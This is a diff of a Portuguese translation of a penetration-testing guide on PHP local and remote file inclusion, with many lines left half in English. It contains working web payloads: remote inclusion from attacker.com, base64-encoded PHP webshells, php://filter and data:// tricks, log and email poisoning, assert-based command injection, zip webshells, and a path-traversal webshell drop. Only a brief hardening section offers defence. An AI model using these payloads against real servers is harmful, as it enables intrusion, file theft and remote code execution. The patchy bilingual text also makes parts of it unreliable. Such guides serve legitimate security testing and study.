+Nesses cenários, o número de travessias necessárias pode ser cerca de 2027, mas esse número pode variar com base na configuração do servidor.
- **Uso de segmentos de ponto e caracteres adicionais**: Sequências de traversal (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
+- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos de ponto adicionais e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
- **Determinando o número necessário de traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para chegar ao diretório raiz e então a `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
+- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessário para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Começar com um diretório falso**: É prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
+- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de análise de caminhos do servidor.
-Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
+Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
 **Esta vulnerabilidade foi corrigida no PHP 5.3.**
@ -145,41 +145,41 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion
-No php isso está desabilitado por padrão porque **`allow_url_include`** está **Off.** Precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
+No php isso está desabilitado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE:
+Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP em b64 e obter RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
+> No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
-> 
+>
-> Outro exemplo **sem usar o protocolo `php://`** seria:
+> Outro exemplo **não usando o protocolo `php://`** seria:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python Elemento Root
+## Elemento raiz em Python
-Em python, em um código como este:
+Em Python, em um código como este:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-Se o usuário passar um **absolute path** para **`file_name`**, o **previous path é simplesmente removido**:
+Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-Esse é o comportamento esperado de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Isso é o comportamento pretendido de acordo com [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
 > Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
 ## Java Listar Diretórios
-Parece que, se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, uma **listagem do diretório será retornada**. Isso não acontece em outras linguagens (afaik).
+Parece que, se você tiver um Path Traversal em Java e você **pedir um diretório** em vez de um arquivo, **uma listagem do diretório será retornada**. Isso não acontecerá em outras linguagens (pelo que sei).
 ## Top 25 parâmetros
@ -211,38 +211,38 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a lo
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI usando wrappers e protocolos PHP
+## LFI / RFI using PHP wrappers & protocols
 ### php://filter
-PHP filters permitem executar operações básicas de **modificação dos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
+PHP filters allow perform basic **operações de modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
 - `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
- Observe que este filtro desapareceu nas versões modernas do PHP
+- Note that this filter has disappear from the modern versions of PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforma para uma codificação diferente(`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l`
+- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Para obter a **lista de todas as codificações** suportadas execute no console: `iconv -l`
 > [!WARNING]
-> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusing the `convert.iconv.*` conversion filter you can **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime o conteúdo (útil se estiver exfiltrando muita informação)
+- `zlib.deflate`: Comprimir o conteúdo (useful if exfiltrating a lot of info)
- `zlib.inflate`: Descomprime os dados
+- `zlib.inflate`: Descomprimir os dados
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : Deprecated
 - `mdecrypt.*` : Deprecated
 - Outros filtros
 - Executando em php `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
 - `consumed`
- `dechunk`: reverte HTTP chunked encoding
+- `dechunk`: reverte a codificação chunked do HTTP
 - `convert.*`
 ```php
 # String Filters
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 > [!WARNING]
 > A parte "php://filter" não diferencia maiúsculas de minúsculas
-### Usando php filters como oracle para ler arquivos arbitrários
+### Usando php filters como oráculo para ler arquivos arbitrários
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica é baseada em uma **boolean exfiltration do arquivo (char por char) usando php filters** como oracle. Isso porque php filters podem ser usados para tornar um texto grande o suficiente para o php lançar uma exceção.
+[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica baseia-se numa **exfiltração booleana do arquivo (char por char) usando php filters** como oráculo. Isto ocorre porque php filters podem ser usados para tornar um texto grande o suficiente para que o php lance uma exceção.
 No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:
- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente.
+- Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente.
- Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php disparará um **erro**
+- Isto será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php irá disparar um **erro**
- O filtro **dechunk** vai **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex.
+- O filtro **dechunk** irá **remover tudo se o primeiro char não for hexadecimal**, então podemos saber se o primeiro char é hex.
- Isso, combinado com o anterior (e outros filters dependendo da letra adivinhada), permitirá adivinhar uma letra no início do texto observando quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar um erro.
+- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a apagará e a bomba inicial fará o php gerar erro.
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então depois deste codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não a deleta e o erro do php é disparado porque ele se multiplica com a bomba inicial.
+- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após esse codec: a -> b). Isto nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto dechunk não a remove e o erro do php é disparado porque multiplica com a bomba inicial.
- Usando outras transformações como **rot13** no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
+- Usando outras transformações como **rot13** no começo é possível vazar outros chars como n, o, p, q, r (e outros codecs podem ser usados para deslocar outras letras para a faixa hex).
- Quando o char inicial é um número é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
+- Quando o caractere inicial for um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para exfiltrar o número.
- O problema final é ver **como leak mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e trazer para a primeira posição outras letras do texto.
+- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de ordem de memória como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos chars e colocar em primeira posição outras letras do texto.
- E para poder obter **further data** a ideia é **generate 2 bytes of junk data at the beginning** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazê-lo **pivot with the next 2 bytes**, e d**elete the data until the junk data** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.
+- E para ser capaz de obter **dados adicionais** a ideia é **gerar 2 bytes de junk no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer um **pivot com os próximos 2 bytes**, e **deletar os dados até o junk** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
-No post também foi publicada uma ferramenta para executar isso automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+No post também foi divulgado uma ferramenta para executar isso automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 ### php://fd
-Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrate o conteúdo de arquivos abertos:
+Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Você também pode usar **php://stdin, php://stdout and php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
+You can also use **php://stdin, php://stdout e php://stderr** to access the **file descriptors 0, 1 e 2** respectively (não tenho certeza de como isso poderia ser útil em um attack)
-### zip:// and rar://
+### zip:// e rar://
-Envie um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
+Upload um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
-Para poder abusar do protocolo rar ele **precisa ser especificamente ativado**.
+Para poder abusar do rar protocol, ele **precisa ser ativado especificamente**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Observe que este protocolo é restringido pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
+Observe que este protocolo é restrito pelas configurações do PHP **`allow_url_open`** e **`allow_url_include`**
 ### expect://
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
 ```
 ### phar://
-Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web faz uso de funções como `include` para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo `.phar`:
+Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O snippet de código PHP abaixo demonstra a criação de um arquivo `.phar`:
 ```php
 <?php
 $phar = new Phar('test.phar');
@ -358,11 +358,11 @@ Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Após a execução, um arquivo chamado `test.phar` será criado, que potencialmente pode ser aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
+Ao ser executado, um arquivo chamado `test.phar` será criado, o qual pode ser potencialmente aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).
-Nos casos em que o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
+Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP contido — por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()` — pode-se tentar explorar uma vulnerabilidade de deserialization. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
-Para uma compreensão detalhada sobre explorar vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
+Para um entendimento detalhado sobre a exploração de vulnerabilidades de deserialization no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
 [Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,26 +373,26 @@ phar-deserialization.md
 ### CVE-2024-2961
-Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter um RCE. A descrição detalhada pode ser [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Foi possível abusar de **any arbitrary file read from PHP that supports php filters** para obter RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Resumo muito rápido: um **3 byte overflow** no PHP heap foi abusado para **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, então foi adicionada uma hook para chamar **`system`**.\
+Resumo muito rápido: um **3 byte overflow** no heap do PHP foi abusado para **alterar a cadeia de free chunks** de um tamanho específico a fim de poder **escrever qualquer coisa em qualquer endereço**, então foi adicionado um hook para chamar **`system`**.\
-Foi possível alloc chunks of specific sizes abusing more php filters.
+Foi possível alocar chunks de tamanhos específicos abusando de mais php filters.
-### More protocols
+### Mais protocolos
-Veja mais possíveis[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Confira mais possíveis[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um file inclusion attack)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Acesso ao sistema de arquivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acesso a URLs HTTP(s)
+- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acesso a URLs FTP(s)
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar pathnames que correspondam ao padrão (Não retorna nada imprimível, então não é muito útil aqui)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar pathnames que casam com um padrão (não retorna nada imprimível, então não é realmente útil aqui)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Não útil para ler arquivos arbitrários)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de áudio (não útil para ler arquivos arbitrários)
 ## LFI via PHP's 'assert'
-Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se uma entrada contendo caracteres de directory traversal como ".." estiver sendo verificada mas não for devidamente sanitizada.
+Os riscos de Local File Inclusion (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se entradas contendo caracteres de directory traversal como ".." estiverem sendo verificadas mas não devidamente sanitizadas.
 Por exemplo, o código PHP pode ser projetado para prevenir directory traversal da seguinte forma:
 ```bash
@ -402,7 +402,7 @@ Embora isso vise impedir traversal, cria inadvertidamente um vetor para code inj
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
+De forma semelhante, para executar comandos arbitrários do sistema, pode-se usar:
 ```plaintext
 ' and die(system("id")) or '
 ```
@ -411,38 +411,38 @@ Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:
 ## PHP Blind Path Traversal
 > [!WARNING]
-> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porém o conteúdo não é exibido.
+> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) já que o conteúdo não é mostrado.
-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
+Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para **exfiltrar o conteúdo de um arquivo via um error oracle**.
-Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo disparará um **erro**.
+Como resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
-Então, para leak the first char o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros chars no início e leak them**.
+Depois, para leak do primeiro char o filter **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filters **`convert.iconv.UCS-4.UCS-4LE`** e **`convert.iconv.UTF16.UTF-16BE`** são usados para colocar outros chars no começo e leak them.
 Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
-Para os detalhes técnicos, confira o post mencionado!
+Para os detalhes técnicos, consulte o post mencionado!
 ## LFI2RCE
 ### Arbitrary File Write via Path Traversal (Webshell RCE)
-Quando o código do lado servidor que ingere/uploads arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita arbitrária de arquivo. Se você puder colocar o payload em um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell.
+Quando o código do lado servidor que ingere/upload de arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e paths absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload sob um diretório exposto na web, normalmente obtém RCE não autenticado ao dropar um webshell.
-Fluxo típico de exploração:
+Fluxo de exploração típico:
- Identificar uma primitiva de escrita em um endpoint ou background worker que aceita um path/filename e grava conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
+- Identificar uma write primitive em um endpoint ou background worker que aceite um path/filename e escreva conteúdo no disco (por exemplo, ingestão orientada por mensagens, command handlers XML/JSON, ZIP extractors, etc.).
 - Determinar diretórios expostos na web. Exemplos comuns:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Criar um caminho de traversal que saia do diretório de armazenamento pretendido para o webroot e inclua o conteúdo do seu webshell.
+- Criar um caminho de traversal que saia do diretório de armazenamento pretendido para o webroot, e incluir o conteúdo do seu webshell.
- Acesse o payload dropado e execute comandos.
+- Acesse o payload que você colocou e execute comandos.
 Notas:
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá seu payload depois.
+- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá seu payload posteriormente.
- Em stacks Java, essas escritas de arquivo são frequentemente implementadas com concatenação simples de `File`/`Paths`. Falta de canonicalização/allow-listing é a falha central.
+- Em stacks Java, essas escritas de arquivos frequentemente são implementadas com concatenação simples de `File`/`Paths`. Falta de canonicalisation/allow-listing é a falha central.
-Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
+Exemplo genérico em estilo XML/JMF (schemas de produto variam – o wrapper DOCTYPE/body é irrelevante para o traversal):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@ -466,26 +466,26 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Medidas de hardening que impedem esta classe de bugs:
+Medidas de hardening que impedem essa classe de bugs:
- Resolva para um caminho canônico e imponha que seja um descendente de um diretório base allow-listed.
+- Resolva para um caminho canônico e verifique que ele seja descendente de um diretório base allow-listed.
- Rejeite qualquer caminho contendo `..`, caminhos absolutos ou letras de unidade; prefira nomes de arquivo gerados.
+- Rejeite qualquer caminho contendo `..`, raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados.
- Execute o processo de escrita com uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas.
+- Execute o writer como uma conta de baixo privilégio e segregue os diretórios de escrita das raízes servidas.
 ## Remote File Inclusion
-Explicado anteriormente, [**follow this link**](#remote-file-inclusion).
+Explained previously, [**follow this link**](#remote-file-inclusion).
 ### Via Apache/Nginx log file
-Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **GET parameter** uma php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
+Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **parâmetro GET** um php shell como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
 > [!WARNING]
-> Observe que **se você usar aspas duplas** para a shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** ali e **nada mais será executado**.
+> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
 >
-> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
+> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
-Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. A PHPShell poderia ser inserida dentro desse header.\
+Isso também pode ser feito em outros logs mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.\
-Outros possíveis caminhos de log:
+Outros caminhos de logs possíveis:
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
 ### Via e-mail
-**Envie um e-mail** para uma conta interna (user@localhost) contendo seu PHP payload como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
+**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
-### Via /proc/\*/fd/\*
+### Via /proc/*/fd/*
 1. Faça upload de muitas shells (por exemplo: 100)
-2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD = descritor de arquivo (pode ser brute forced também)
+2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (também pode ser brute forced)
 ### Via /proc/self/environ
-Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ
+Como um arquivo de log, envie o payload no User-Agent — ele será refletido dentro do arquivo /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
 ### Via upload
-Se você puder fazer upload de um arquivo, apenas injete o shell payload nele (ex.: `<?php system($_GET['c']); ?>`).
+Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (ex: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
 Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
-### Via upload de arquivo Zip
+### Via upload de arquivo ZIP
-Envie um arquivo ZIP contendo um PHP shell comprimido e acesse:
+Upload um arquivo ZIP contendo um PHP shell comprimido e acesse:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Via sessões PHP
+### Via PHP sessions
-Verifique se o site usa sessões PHP (PHPSESSID)
+Verifique se o site usa PHP Session (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
+No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
 ```
 ### Via ssh
